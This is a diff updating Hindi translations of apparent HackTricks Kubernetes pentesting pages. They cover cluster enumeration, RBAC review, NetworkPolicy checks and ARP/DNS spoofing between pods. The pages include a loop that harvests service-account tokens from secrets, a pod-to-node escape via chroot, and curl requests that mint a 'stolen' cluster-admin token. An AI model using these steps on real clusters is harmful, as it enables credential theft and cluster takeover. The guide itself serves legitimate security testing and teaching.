+174,46 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace {{#endtab }} {{#endtabs }} -### जांचने योग्य Object metadata +### जांचने योग्य object metadata -जब आप किसी object को read कर सकते हैं, तो केवल table output या `describe` पर निर्भर रहने के बजाय पूरा YAML या JSON export करें। सबसे उपयोगी security context अक्सर generic object fields में होता है जो कई resource types में मौजूद होते हैं: +जब आप किसी object को पढ़ सकते हैं, तो केवल table output या `describe` पर निर्भर रहने के बजाय पूरा YAML या JSON export करें। सबसे उपयोगी security context अक्सर generic object fields में होता है, जो कई resource types में मौजूद होते हैं: ```bash kubectl get pod -n -o yaml kubectl get deploy -n -o json | jq '.metadata, .spec, .status' kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' ``` -- `metadata.uid`, `name`, `namespace`, `apiVersion` और `kind` exact object की पहचान करते हैं और different namespaces या API groups में same name वाले objects के बीच confusion से बचाते हैं। -- `metadata.labels` और selectors Services, Deployments, ReplicaSets, Pods, NetworkPolicies और automation को connect करते हैं। Selectors को follow करना अक्सर किसी Service के real backend pods identify करने का सबसे तेज़ तरीका होता है। -- `metadata.annotations` ingress behavior, cloud load balancer settings, GitOps या Helm metadata, policy exemptions, और service mesh configuration जैसे operational context को leak कर सकते हैं। इनमें secrets नहीं होने चाहिए, लेकिन real clusters अक्सर वहाँ useful clues expose करते हैं। -- `metadata.ownerReferences` controller lineage दिखाता है। अगर कोई Pod किसी ReplicaSet के under है जो Deployment के under है, तो सिर्फ Pod को change या delete करना usually source को fix नहीं करता। -- `metadata.finalizers` और `metadata.deletionTimestamp` deletion में stuck resources को explain करते हैं और cleanup controllers या persistence/disruption tricks reveal कर सकते हैं। -- `status`, Events, और conditions node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials, और controller progress reveal कर सकते हैं। ये useful clues हैं, लेकिन action किसने perform की, यह prove करने के लिए अभी भी audit logs की ज़रूरत होती है। +- `metadata.uid`, `name`, `namespace`, `apiVersion` और `kind` exact object को identify करते हैं और अलग-अलग namespaces या API groups में same name वाले objects के बीच confusion से बचाते हैं। +- `metadata.labels` और selectors Services, Deployments, ReplicaSets, Pods, NetworkPolicies और automation को connect करते हैं। Selectors को follow करना अक्सर Service के real backend pods को identify करने का सबसे तेज़ तरीका होता है। +- `metadata.annotations` operational context leak कर सकती हैं, जैसे ingress behavior, cloud load balancer settings, GitOps या Helm metadata, policy exemptions, और service mesh configuration। इनमें secrets नहीं होने चाहिए, लेकिन real clusters अक्सर वहाँ useful clues expose करते हैं। +- `metadata.ownerReferences` controller lineage दिखाता है। अगर कोई Pod, ReplicaSet के under है जो Deployment के under है, तो सिर्फ Pod को change या delete करने से usually source fix नहीं होता। +- `metadata.finalizers` और `metadata.deletionTimestamp` deletion में अटके resources को explain करते हैं और cleanup controllers या persistence/disruption tricks reveal कर सकते हैं। +- `status`, Events, और conditions node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials, और controller progress reveal कर सकते हैं। ये useful clues हैं, लेकिन किसी action को किसने perform किया यह prove करने के लिए audit logs अभी भी required हैं। + +### Dynamic Resource Allocation and device evidence + +अगर cluster GPUs, NICs, FPGAs, या अन्य specialized hardware use करता है, तो check करें कि क्या Kubernetes Dynamic Resource Allocation (DRA) present है। DRA `resource.k8s.io` objects जैसे `DeviceClass`, `ResourceSlice`, `ResourceClaim`, और `ResourceClaimTemplate` का use करके available devices describe करता है और Pods के लिए उन्हें claim करता है। ये objects reveal कर सकते हैं कि कौन से nodes valuable hardware access कर सकते हैं, कौन सा driver इसे manage करता है, और किस workload के पास allocation है। +```bash +kubectl api-resources --api-group=resource.k8s.io +kubectl get deviceclasses.resource.k8s.io 2>/dev/null +kubectl get resourceslices.resource.k8s.io 2>/dev/null +kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null +kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null +kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}' +kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga' +``` +समीक्षा के दौरान, cluster-scoped `DeviceClass` और `ResourceSlice` objects पर writes को केवल admins और DRA drivers तक सीमित रखें, और `ResourceClaim` / `ResourceClaimTemplate` rights को उन namespaces तक scoped रखें जिन्हें उनकी आवश्यकता है। `ResourceClaim` status को update करने के लिए driver permissions स्पष्ट और narrow होनी चाहिए। nodes पर, kubelet PodResources API आमतौर पर `/var/lib/kubelet/pod-resources/kubelet.sock` के माध्यम से exposed होती है; monitoring DaemonSets अक्सर assigned devices inspect करने के लिए उस directory को mount कर सकती हैं, इसलिए उन Pods की समीक्षा अन्य privileged node agents की तरह करें। + +### ClusterTrustBundle और add-on certificate trust + +Recent clusters `certificates.k8s.io` API group में `ClusterTrustBundle` objects expose कर सकते हैं। ये cluster-scoped X.509 trust anchor bundles हैं जिन्हें Pods projected volumes के माध्यम से mount कर सकते हैं। Broad read access expected है, लेकिन write access sensitive है क्योंकि trusted roots बदलने से webhooks, aggregated APIs, service meshes, और cluster-distributed CA material consume करने वाली applications प्रभावित हो सकती हैं। +```bash +kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle +kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null +kubectl get clustertrustbundle -o yaml 2>/dev/null +kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle' +kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}' +``` +During review, record `signerName`, bundle fingerprints, writer identities, projected-volume consumers, and any trust-distribution controller such as cert-manager trust-manager. Treat `APIService` objects with `insecureSkipTLSVerify: true`, stale `caBundle` values, or broad permissions to patch APIService/webhook trust fields as certificate-trust findings rather than ordinary object inventory. ### Get Current Privileges @@ -212,21 +238,21 @@ kurl -i -s -k -X $'POST' \ {{#endtab }} {{#endtabs }} -अपने privileges की जांच करने का एक और तरीका यह tool उपयोग करना है: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* +अपने privileges की जांच करने का एक और तरीका यह tool इस्तेमाल करना है: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* -आप **Kubernetes RBAC** के बारे में यहां और जान सकते हैं: +आप **Kubernetes RBAC** के बारे में यहाँ और जान सकते हैं: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} -**एक बार जब आपको पता चल जाए कि आपके पास कौन-से privileges** हैं, तो यह समझने के लिए निम्न page देखें कि **क्या आप उनका abuse** करके privileges escalate कर सकते हैं: +**एक बार जब आप जान लें कि आपके पास कौन-से privileges हैं**, तो यह पता लगाने के लिए निम्न page देखें कि **क्या आप उनका abuse** करके privileges escalate कर सकते हैं: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### दूसरों के roles प्राप्त करें +### Get Others roles {{#tabs }} {{#tab name="kubectl" }} @@ -246,7 +272,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu ### namespaces प्राप्त करें -Kubernetes **multiple virtual clusters** को सपोर्ट करता है, जो एक ही physical cluster द्वारा backed होते हैं। इन virtual clusters को **namespaces** कहा जाता है। +Kubernetes एक ही physical cluster द्वारा समर्थित **multiple virtual clusters** का समर्थन करता है। इन virtual clusters को **namespaces** कहा जाता है। {{#tabs }} {{#tab name="kubectl" }} @@ -281,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -यदि आप secrets पढ़ सकते हैं तो आप प्रत्येक token से संबंधित privileges प्राप्त करने के लिए निम्न पंक्तियों का उपयोग कर सकते हैं: +यदि आप secrets पढ़ सकते हैं, तो आप निम्न पंक्तियों का उपयोग करके each token से संबंधित privileges प्राप्त कर सकते हैं: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` -### Service Accounts प्राप्त करें +### सेवा खातों को प्राप्त करें -जैसा कि इस पेज की शुरुआत में चर्चा की गई है **जब एक pod run किया जाता है तो आमतौर पर उसे एक service account assigned किया जाता है**। इसलिए, service accounts, उनकी permissions और वे कहाँ running हैं, इसकी listing एक user को privileges escalate करने की अनुमति दे सकती है। +जैसा कि इस पेज की शुरुआत में चर्चा की गई है **जब एक pod चलाया जाता है, तो आमतौर पर उसे एक service account असाइन किया जाता है**। इसलिए, service accounts, उनकी permissions, और वे कहाँ चल रहे हैं, यह सूचीबद्ध करना किसी user को privileges escalate करने में मदद कर सकता है। {{#tabs }} {{#tab name="kubectl" }} @@ -305,7 +331,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts ### Deployments प्राप्त करें -Deployments stateless application workloads के लिए desired state specify करते हैं। वे ReplicaSets create करते हैं, और वे ReplicaSets Pods create करते हैं। +Deployments stateless application workloads के लिए desired state specify करते हैं। ये ReplicaSets बनाते हैं, और वे ReplicaSets Pods बनाते हैं। {{#tabs }} {{#tab name="kubectl" }} @@ -324,7 +350,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ ### StatefulSets प्राप्त करें -StatefulSets उन Pods को manage करते हैं जिन्हें stable names, ordered rollout behavior, और अक्सर per-replica persistent volumes की जरूरत होती है। +StatefulSets ऐसे Pods को manage करते हैं जिन्हें stable नाम, ordered rollout behavior, और अक्सर per-replica persistent volumes की जरूरत होती है। {{#tabs }} {{#tab name="kubectl" }} @@ -343,7 +369,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ ### Pods प्राप्त करें -Pods वास्तविक **containers** हैं जो **run** करेंगे। +Pods वे वास्तविक **containers** हैं जो **run** होंगे। {{#tabs }} {{#tab name="kubectl" }} @@ -362,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ ### Services प्राप्त करें -Kubernetes **services** का उपयोग **किसी service को एक specific port और IP पर expose** करने के लिए किया जाता है (जो pods के लिए load balancer के रूप में काम करेगा, जो वास्तव में service प्रदान कर रहे हैं)। यह जानना उपयोगी है कि आप अन्य services कहाँ पा सकते हैं ताकि उन पर attack करने की कोशिश की जा सके। +Kubernetes **services** का उपयोग **किसी service को एक specific port और IP** पर **expose** करने के लिए किया जाता है (जो उन pods के लिए load balancer की तरह काम करेगा जो वास्तव में service दे रहे हैं)। यह जानना उपयोगी है कि और कौन-सी services मिल सकती हैं जिन्हें attack करने की कोशिश की जा सके। {{#tabs }} {{#tab name="kubectl" }} @@ -379,9 +405,9 @@ kurl -v https://$APISERVER/api/v1/namespaces//services/ {{#endtab }} {{#endtabs }} -### nodes प्राप्त करें +### नोड्स प्राप्त करें -क्लस्टर के अंदर कॉन्फ़िगर किए गए सभी **nodes** प्राप्त करें। +क्लस्टर के अंदर configured सभी **nodes** प्राप्त करें। {{#tabs }} {{#tab name="kubectl" }} @@ -399,7 +425,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### DaemonSets प्राप्त करें -**DaemonSets** यह सुनिश्चित करते हैं कि **एक specific Pod क्लस्टर के सभी selected nodes पर चल रहा हो**। यदि आप DaemonSet को delete करते हैं, तो उसके द्वारा managed Pods भी remove हो जाएंगे। +**DaemonSets** यह सुनिश्चित करते हैं कि क्लस्टर के सभी selected nodes पर एक **specific Pod चल रहा हो**। यदि आप DaemonSet को delete करते हैं, तो उसके द्वारा managed Pods भी हटा दिए जाएंगे। {{#tabs }} {{#tab name="kubectl" }} @@ -415,9 +441,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets {{#endtab }} {{#endtabs }} -### जॉब्स प्राप्त करें +### Jobs प्राप्त करें -Jobs Pods बनाते हैं जो completion तक चलते हैं। इन्हें आमतौर पर migrations, backups, batch work, और one-off administrative tasks के लिए उपयोग किया जाता है। +Jobs Pods बनाते हैं जो completion तक चलते हैं। इन्हें आमतौर पर migrations, backups, batch work, और one-off administrative tasks के लिए इस्तेमाल किया जाता है। {{#tabs }} {{#tab name="kubectl" }} @@ -436,7 +462,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs ### CronJobs प्राप्त करें -CronJobs task-style execution के लिए Pods लॉन्च करने वाले Jobs बनाने हेतु crontab-जैसे schedule का उपयोग करते हैं। +CronJobs एक crontab-like schedule का उपयोग करके Jobs बनाते हैं जो task-style execution के लिए Pods लॉन्च करते हैं। {{#tabs }} {{#tab name="kubectl" }} @@ -455,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs ### configMap प्राप्त करें -configMap में हमेशा बहुत सारी जानकारी और configfile होते हैं जो kubernetes में चलने वाले apps को दिए जाते हैं। आमतौर पर आप कई password, secrets, tokens पा सकते हैं जिनका इस्तेमाल other internal/external service से connecting और validating के लिए किया जाता है। +configMap में हमेशा बहुत सारी जानकारी और configfile होती है जो kubernetes में चलने वाले apps को दी जाती है। आमतौर पर आप बहुत सारे password, secrets, tokens पा सकते हैं जो अन्य internal/external service से connect और validate करने के लिए इस्तेमाल होते हैं। {{#tabs }} {{#tab name="kubectl" }} @@ -471,7 +497,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps {{#endtab }} {{#endtabs }} -### Network Policies / Cilium Network Policies प्राप्त करें +### नेटवर्क नीतियां / Cilium नेटवर्क नीतियां प्राप्त करें {{#tabs }} {{#tab name="First Tab" }} @@ -483,7 +509,7 @@ k get CiliumClusterwideNetworkPolicies {{#endtab }} {{#endtabs }} -### सब कुछ प्राप्त करें / सभी +### सब कुछ / All {{#tabs }} {{#tab name="kubectl" }} @@ -503,7 +529,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' {{#endtab }} {{#endtabs }} -### **Pods की consumptions प्राप्त करें** +### **Pods की खपत प्राप्त करें** {{#tabs }} {{#tab name="kubectl" }} @@ -513,23 +539,23 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} -## kubectl का उपयोग किए बिना cluster के साथ इंटरैक्ट करना +## kubectl का उपयोग किए बिना cluster के साथ interact करना -यह देखते हुए कि Kubernetes control plane एक REST-ful API expose करता है, आप manually HTTP requests बना सकते हैं और उन्हें **curl** या **wget** जैसे अन्य tools के साथ भेज सकते हैं। +यह देखते हुए कि Kubernetes control plane एक REST-ful API expose करता है, आप hand-craft HTTP requests बना सकते हैं और उन्हें अन्य tools, जैसे **curl** या **wget**, के साथ भेज सकते हैं। -### pod से बाहर निकलना +### pod से escape करना -यदि आप नए pods बना सकते हैं, तो आप उनसे node तक escape कर सकते हैं। ऐसा करने के लिए आपको एक yaml file का उपयोग करके एक नया pod बनाना होगा, बने हुए pod पर switch करना होगा, और फिर node के system में chroot करना होगा। आप yaml file के लिए reference के रूप में पहले से मौजूद pods का उपयोग कर सकते हैं, क्योंकि वे existing images और paths दिखाते हैं। +यदि आप नए pods create करने में सक्षम हैं, तो आप उनसे node तक escape कर सकते हैं। ऐसा करने के लिए आपको एक yaml file का उपयोग करके एक नया pod create करना होगा, created pod पर switch करना होगा, और फिर node के system में chroot करना होगा। आप yaml file के लिए reference के रूप में already existing pods का उपयोग कर सकते हैं क्योंकि वे existing images और pathes दिखाते हैं। ```bash kubectl get pod [-n ] -o yaml ``` -> यदि आपको किसी specific node पर pod create करना है, तो node पर labels पाने के लिए आप निम्न command use कर सकते हैं +> यदि आपको किसी specific node पर pod create करना है, तो आप node पर labels पाने के लिए निम्न command का उपयोग कर सकते हैं > > `k get nodes --show-labels` > -> आमतौर पर, kubernetes.io/hostname और node-role.kubernetes.io/master select करने के लिए अच्छे labels होते हैं। +> सामान्यतः, kubernetes.io/hostname और node-role.kubernetes.io/master select करने के लिए अच्छे label होते हैं। -फिर आप अपनी attack.yaml file create करें +फिर आप अपना attack.yaml file create करें ```yaml apiVersion: v1 kind: Pod @@ -565,11 +591,11 @@ restartPolicy: Never ```bash kubectl apply -f attacker.yaml [-n ] ``` -अब आप निम्न प्रकार से बनाए गए pod पर switch कर सकते हैं +अब आप निम्नानुसार बनाए गए pod पर switch कर सकते हैं ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -और अंत में आप node की system में chroot करते हैं +और आखिर में आप node के system में chroot करते हैं ```bash chroot /root /bin/bash ``` @@ -640,7 +666,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` -### एक Service Account बनाएँ +### एक Service Account बनाएं ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -658,7 +684,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### एक Service Account हटाएं +### एक Service Account को Delete करें ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -693,7 +719,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### एक Role को Delete करें +### एक Role Delete करें ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -728,7 +754,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### एक Role Binding को Delete करें +### एक Role Binding हटाएं ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -763,7 +789,7 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### एक Secret हटाएँ +### एक Secret Delete करें ```bash CONTROL_PLANE_HOST="" TOKEN="" diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index c2216bc10..365a615f5 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -2,18 +2,18 @@ {{#include ../../banners/hacktricks-training.md}} -## परिचय +## Introduction -Kubernetes में, यह देखा गया है कि एक default behavior **एक ही node पर स्थित सभी containers** के बीच connections स्थापित करने की अनुमति देता है। यह namespace distinctions की परवाह किए बिना लागू होता है। ऐसी connectivity सीधे **Layer 2** (Ethernet) तक जाती है। परिणामस्वरूप, यह configuration system को vulnerabilities के लिए संभावित रूप से exposed करती है। विशेष रूप से, यह एक **malicious container** को उसी node पर स्थित अन्य containers के खिलाफ **ARP spoofing attack** execute करने की संभावना खोलती है। ऐसे attack के दौरान, malicious container दूसरे containers के लिए intended network traffic को deceitfully intercept या modify कर सकता है। +Kubernetes में, यह देखा गया है कि एक default व्यवहार **एक ही node पर मौजूद सभी containers** के बीच connections स्थापित करने की अनुमति देता है। यह namespace distinctions से स्वतंत्र रूप से लागू होता है। ऐसी connectivity **Layer 2** (Ethernet) तक जाती है। परिणामस्वरूप, यह configuration system को vulnerabilities के लिए potentially expose करती है। खास तौर पर, यह एक **malicious container** को उसी node पर स्थित अन्य containers के खिलाफ **ARP spoofing attack** execute करने की संभावना खोलती है। ऐसे attack के दौरान, malicious container धोखे से अन्य containers के लिए intended network traffic को intercept या modify कर सकता है। -ARP spoofing attacks में **attacker द्वारा falsified ARP** (Address Resolution Protocol) messages को local area network पर भेजना शामिल है। इससे **attacker के MAC address को network पर किसी legitimate computer या server के IP address के साथ link** किया जाता है। ऐसे attack के सफल execution के बाद, attacker data in-transit को intercept, modify, या यहाँ तक कि stop भी कर सकता है। यह attack OSI model की Layer 2 पर execute होता है, इसी कारण Kubernetes में इस layer पर default connectivity security concerns उठाती है। +ARP spoofing attacks में **attacker द्वारा falsified ARP** (Address Resolution Protocol) messages को local area network पर भेजना शामिल है। इससे **attacker के MAC address को network पर किसी legitimate computer या server के IP address से link** कर दिया जाता है। ऐसा attack successful होने के बाद, attacker data in-transit को intercept, modify, या stop भी कर सकता है। यह attack OSI model की Layer 2 पर execute होता है, इसलिए इस layer पर Kubernetes की default connectivity security concerns बढ़ाती है। -इस scenario में 4 machines बनाई जाएँगी: +इस scenario में 4 machines बनाई जाने वाली हैं: -- ubuntu-pe: node पर escape करने और metrics check करने के लिए Privileged machine (attack के लिए आवश्यक नहीं) -- **ubuntu-attack**: default namespace में **Malicious** container -- **ubuntu-victim**: kube-system namespace में **Victim** machine -- **mysql**: default namespace में **Victim** machine +- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack) +- **ubuntu-attack**: **Malicious** container in default namespace +- **ubuntu-victim**: **Victim** machine in kube-system namespace +- **mysql**: **Victim** machine in default namespace ```yaml echo 'apiVersion: v1 kind: Pod @@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -## बेसिक Kubernetes नेटवर्किंग +## Basic Kubernetes Networking -यदि आप यहाँ प्रस्तुत नेटवर्किंग विषयों के बारे में अधिक विवरण चाहते हैं, तो references पर जाएँ। +अगर आप यहां परिचय कराए गए networking topics के बारे में अधिक विवरण चाहते हैं, तो references पर जाएं। ### ARP -सामान्य रूप से, **node के अंदर pod-to-pod networking** एक **bridge** के माध्यम से उपलब्ध होती है जो सभी pods को connect करती है। इस bridge को “**cbr0**” कहा जाता है। (कुछ network plugins अपना खुद का bridge install करेंगे।) **cbr0 ARP** (Address Resolution Protocol) resolution को भी handle कर सकता है। जब कोई incoming packet cbr0 पर पहुँचता है, तो वह ARP का उपयोग करके destination MAC address resolve कर सकता है। +सामान्य रूप से, **node के अंदर pod-to-pod networking** एक **bridge** के जरिए उपलब्ध होती है जो सभी pods को जोड़ता है। इस bridge को “**cbr0**” कहा जाता है। (कुछ network plugins अपना खुद का bridge install करेंगे।) **cbr0 ARP** (Address Resolution Protocol) resolution को भी handle कर सकता है। जब एक incoming packet cbr0 पर आता है, तो यह ARP का उपयोग करके destination MAC address resolve कर सकता है। -इस तथ्य का मतलब है कि, default रूप से, **same node में चल रहा हर pod** ethernet level (layer 2) पर same node के किसी भी अन्य pod के साथ **communicate** करने में सक्षम होगा, (namespace से स्वतंत्र रूप से)। +इस तथ्य का मतलब है कि, default रूप से, **same node पर चल रहा हर pod** ethernet level (layer 2) पर उसी node के किसी भी दूसरे pod के साथ **communicate** कर पाएगा, (namespace से independent होकर)। > [!WARNING] > इसलिए, same node में pods के बीच A**RP Spoofing attacks** करना संभव है। +### NetworkPolicy and admin policy layers + +Kubernetes `NetworkPolicy` L3/L4 पर pod traffic control है, लेकिन इसे CNI plugin लागू करता है, API server स्वयं नहीं। एक cluster NetworkPolicy objects store कर सकता है और फिर भी traffic allow हो सकता है अगर active CNI उन्हें implement नहीं करता, इसलिए हमेशा एक controlled allowed source और एक blocked negative-control source के साथ validate करें। + +केवल `kubectl get networkpolicy -A` तक सीमित न रहें। Cilium, Calico, OVN-Kubernetes, Antrea, या managed-provider dataplanes इस्तेमाल करने वाले clusters में `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, या `BaselineAdminNetworkPolicy` जैसी policy APIs भी हो सकती हैं। ये explicit deny, tier/order, cluster scope, L7/DNS rules, या admin guardrails जोड़ सकती हैं, जिन्हें ordinary additive Kubernetes NetworkPolicy semantics समझाते नहीं हैं। + +Useful first checks: +```bash +kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico' +kubectl get networkpolicy -A +kubectl get cnp,ccnp -A 2>/dev/null +kubectl get globalnetworkpolicy -A 2>/dev/null +kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null +``` +बाईपास विश्लेषण के लिए, जांचें कि intended block को किसी allowed proxy, DNS या egress gateway, `hostNetwork` pod, node-local path, broad namespace या pod label selector, या higher-precedence admin/global policy के जरिए avoid किया गया है या नहीं। source pod labels, namespace labels, destination Service या EndpointSlice, CNI/policy implementation, deciding policy rule, और traffic proof रिपोर्ट करें। + ### DNS -kubernetes environments में आप आमतौर पर kube-system namespace में चल रही 1 (या अधिक) **DNS services** पाएँगे: +kubernetes environments में आपको आमतौर पर kube-system namespace में 1 (या अधिक) **DNS services running** मिलेंगी: ```bash kubectl -n kube-system describe services Name: kube-dns @@ -136,30 +152,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -पिछली जानकारी में आप कुछ दिलचस्प देख सकते हैं, **service का IP** **10.96.0.10** है लेकिन service चला रहे **pod का IP** **172.17.0.2.** +पिछली जानकारी में आप कुछ दिलचस्प देख सकते हैं, **service का IP** **10.96.0.10** है लेकिन service चला रहे **pod का IP** **172.17.0.2** है। अगर आप किसी भी pod के अंदर DNS address check करेंगे तो आपको कुछ ऐसा मिलेगा: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` -हालाँकि, pod **को नहीं पता** कि उस **address** तक कैसे पहुँचना है क्योंकि इस मामले में **pod range** 172.17.0.10/26 है। +हालांकि, pod **को नहीं पता** कि उस **address** तक कैसे पहुँचना है क्योंकि इस मामले में **pod range** 172.17.0.10/26 है। -इसलिए, pod **DNS requests को address 10.96.0.10 पर** भेजेगा, जिसे cbr0 **द्वारा** **172.17.0.2** में **translated** किया जाएगा। +इसलिए, pod **DNS requests को address 10.96.0.10 पर भेजेगा** जिसे cbr0 **द्वारा** **172.17.0.2** में **translated** किया जाएगा। > [!WARNING] -> इसका मतलब है कि एक pod की **DNS request** **हमेशा** **bridge** से होकर जाएगी ताकि **service IP को endpoint IP में translate** किया जा सके, भले ही DNS server pod के साथ उसी subnetwork में हो। +> इसका मतलब है कि एक pod का **DNS request** **हमेशा** **bridge** के पास **translate** होने के लिए जाएगा, ताकि **service IP को endpoint IP** में बदला जा सके, भले ही DNS server pod के same subnetwork में हो। > -> यह जानते हुए, और यह जानते हुए कि **ARP attacks possible हैं**, किसी node में एक **pod** **subnetwork** में **each pod** और **bridge** के बीच के traffic को **intercept** करने और DNS server से आने वाले **DNS responses** को **modify** करने में सक्षम होगा (**DNS Spoofing**)। +> यह जानकर, और यह जानते हुए कि **ARP attacks possible** हैं, एक node में मौजूद **pod** **subnetwork** में **each pod** और **bridge** के बीच के traffic को **intercept** कर सकेगा और DNS server से आने वाले **DNS responses** को **modify** कर सकेगा (**DNS Spoofing**)। > -> इसके अलावा, अगर **DNS server** attacker के **same node** पर है, तो attacker cluster में किसी भी pod की **सभी DNS request** (DNS server और bridge के बीच) **intercept** कर सकता है और responses **modify** कर सकता है। +> इसके अलावा, यदि **DNS server** attacker के **same node** में है, तो attacker cluster में किसी भी pod के **DNS request** (DNS server और bridge के बीच) को **intercept** कर सकता है और responses को modify कर सकता है। > [!NOTE] -> वास्तविक cluster में यह काम करता है, ऐसा मानने से पहले active CNI और DNS path को validate करें। कुछ CNI same-node traffic को अलग तरीके से route या isolate करते हैं, और NodeLocal DNSCache इस्तेमाल करने वाले clusters pod DNS queries को CoreDNS को forward करने से पहले node-local address पर भेज सकते हैं। ऐसे environments में, DNS spoofing pod placement, packet capabilities, resolver configuration, node-local cache behavior, और applications peers को TLS या किसी अन्य identity mechanism से verify करते हैं या नहीं, इस पर निर्भर करती है। +> किसी real cluster में यह काम करता है, ऐसा मानने से पहले active CNI और DNS path validate करें। कुछ CNIs same-node traffic को अलग तरह से route या isolate करते हैं, और NodeLocal DNSCache वाले clusters pod DNS queries को CoreDNS तक forward करने से पहले node-local address पर भेज सकते हैं। ऐसे environments में, DNS spoofing pod placement, packet capabilities, resolver configuration, node-local cache behavior, और applications द्वारा peers को TLS या किसी अन्य identity mechanism से verify करने पर निर्भर करता है। -## उसी Node में pods के बीच ARP 